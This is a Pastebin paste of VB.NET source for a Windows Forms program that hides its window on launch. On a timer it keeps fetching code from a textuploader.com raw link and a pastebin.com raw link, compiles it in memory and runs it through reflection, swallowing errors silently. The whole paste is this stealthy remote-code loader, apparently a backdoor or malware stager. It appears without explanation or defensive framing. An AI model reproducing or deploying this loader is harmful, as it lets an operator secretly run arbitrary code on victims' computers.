Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.IO
- Imports System.Reflection
- Imports System.CodeDom
- Imports System.CodeDom.Compiler
- Imports Microsoft.VisualBasic
- Imports System.Text
- Imports System.Net
- Public Class MainForm
- Private Sub MainForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load
- Timer1.Start()
- HideAndSeek()
- End Sub
- Public Sub HideAndSeek()
- Me.Location = New Point(99999, 99999)
- Me.Visible = False
- ShowInTaskbar = False
- Me.Opacity = 0
- End Sub
- Public Sub code()
- Try
- Dim address As String = "http://textuploader.com/5nkff/raw"
- Dim client As WebClient = New WebClient()
- Dim reader As StreamReader = New StreamReader(client.OpenRead(address))
- txtbxReceiver.Text = reader.ReadToEnd
- Catch ex As Exception
- End Try
- End Sub
- Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
- Try
- code()
- Executer()
- Code2()
- executer2()
- Catch ex As Exception
- End Try
- End Sub
- Public Sub Executer()
- ' read code from textbox
- Dim Code As String = txtbxReceiver.Text
- ' clear output textbox
- txtbxError.Clear()
- ' create fully functional assembly string
- Code = ("Imports System" & vbCrLf &
- "Imports System.Windows.Forms" & vbCrLf &
- "Imports Microsoft.Visualbasic" & vbCrLf &
- "Public Class TempClass" & vbCrLf &
- "Public Sub MyCode(ByVal txtbxError As TextBox)" & vbCrLf &
- Code & vbCrLf &
- "End Sub" & vbCrLf &
- "End Class")
- ' create the compiler
- Dim vbProv = New VBCodeProvider()
- ' create parameters to pass to the compiler
- Dim vbParams = New CompilerParameters()
- ' add referenced assemblies.
- vbParams.ReferencedAssemblies.Add("System.dll")
- vbParams.ReferencedAssemblies.Add("System.Windows.Forms.dll")
- vbParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
- ' generate an assembly in memory
- vbParams.GenerateExecutable = False
- vbParams.GenerateInMemory = True
- ' give it a name
- vbParams.OutputAssembly = "MyCode"
- ' compile the code and get the compiler results
- Dim compResults = vbProv.CompileAssemblyFromSource(vbParams, Code)
- ' check for compile errors
- If compResults.Errors.HasErrors Then
- Dim ErrorMsg As String = compResults.Errors.Count.ToString & " Errors:"
- For x As Integer = 0 To compResults.Errors.Count - 1
- ErrorMsg = ErrorMsg & vbCrLf & "Line: " & compResults.Errors(x).Line.ToString & " - " + compResults.Errors(x).ErrorText
- Next
- txtbxError.Text = ErrorMsg & vbCrLf & vbCrLf + Code
- Else
- ' create instance of the temporary compiled class
- Dim obj As Object = compResults.CompiledAssembly.CreateInstance("TempClass")
- ' use textbox 2 for output
- Dim args() As Object = {Me.txtbxError}
- Try
- ' execute the code
- Dim result As Object = obj.GetType().InvokeMember("MyCode", BindingFlags.InvokeMethod, Nothing, obj, args)
- Catch Oops As Exception
- ' oops
- MessageBox.Show(Oops.Message)
- End Try
- End If
- End Sub
- Private Sub btnCode_Click(sender As Object, e As EventArgs) Handles btnCode.Click
- code()
- End Sub
- Private Sub btnExecute_Click(sender As Object, e As EventArgs) Handles btnExecute.Click
- Executer()
- End Sub
- Public Sub Code2()
- 'http://pastebin.com/raw/125AU1em
- Try
- Dim address As String = "http://pastebin.com/raw/125AU1em"
- Dim client As WebClient = New WebClient()
- Dim reader As StreamReader = New StreamReader(client.OpenRead(address))
- txtbxRCVR2.Text = reader.ReadToEnd
- Catch ex As Exception
- End Try
- End Sub
- Public Sub executer2()
- ' read code from textbox
- Dim Code As String = txtbxRCVR2.Text
- ' clear output textbox
- txtbxERROR2.Clear()
- ' create fully functional assembly string
- Code = ("Imports System" & vbCrLf &
- "Imports System.Windows.Forms" & vbCrLf &
- "Imports Microsoft.Visualbasic" & vbCrLf &
- "Public Class TempClass" & vbCrLf &
- "Public Sub MyCode(ByVal txtbxError2 As TextBox)" & vbCrLf &
- Code & vbCrLf &
- "End Sub" & vbCrLf &
- "End Class")
- ' create the compiler
- Dim vbProv = New VBCodeProvider()
- ' create parameters to pass to the compiler
- Dim vbParams = New CompilerParameters()
- ' add referenced assemblies.
- vbParams.ReferencedAssemblies.Add("System.dll")
- vbParams.ReferencedAssemblies.Add("System.Windows.Forms.dll")
- vbParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
- ' generate an assembly in memory
- vbParams.GenerateExecutable = False
- vbParams.GenerateInMemory = True
- ' give it a name
- vbParams.OutputAssembly = "MyCode"
- ' compile the code and get the compiler results
- Dim compResults = vbProv.CompileAssemblyFromSource(vbParams, Code)
- ' check for compile errors
- If compResults.Errors.HasErrors Then
- Dim ErrorMsg As String = compResults.Errors.Count.ToString & " Errors:"
- For x As Integer = 0 To compResults.Errors.Count - 1
- ErrorMsg = ErrorMsg & vbCrLf & "Line: " & compResults.Errors(x).Line.ToString & " - " + compResults.Errors(x).ErrorText
- Next
- txtbxERROR2.Text = ErrorMsg & vbCrLf & vbCrLf + Code
- Else
- ' create instance of the temporary compiled class
- Dim obj As Object = compResults.CompiledAssembly.CreateInstance("TempClass")
- ' use textbox 2 for output
- Dim args() As Object = {Me.txtbxERROR2}
- Try
- ' execute the code
- Dim result As Object = obj.GetType().InvokeMember("MyCode", BindingFlags.InvokeMethod, Nothing, obj, args)
- Catch Oops As Exception
- ' oops
- MessageBox.Show(Oops.Message)
- End Try
- End If
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement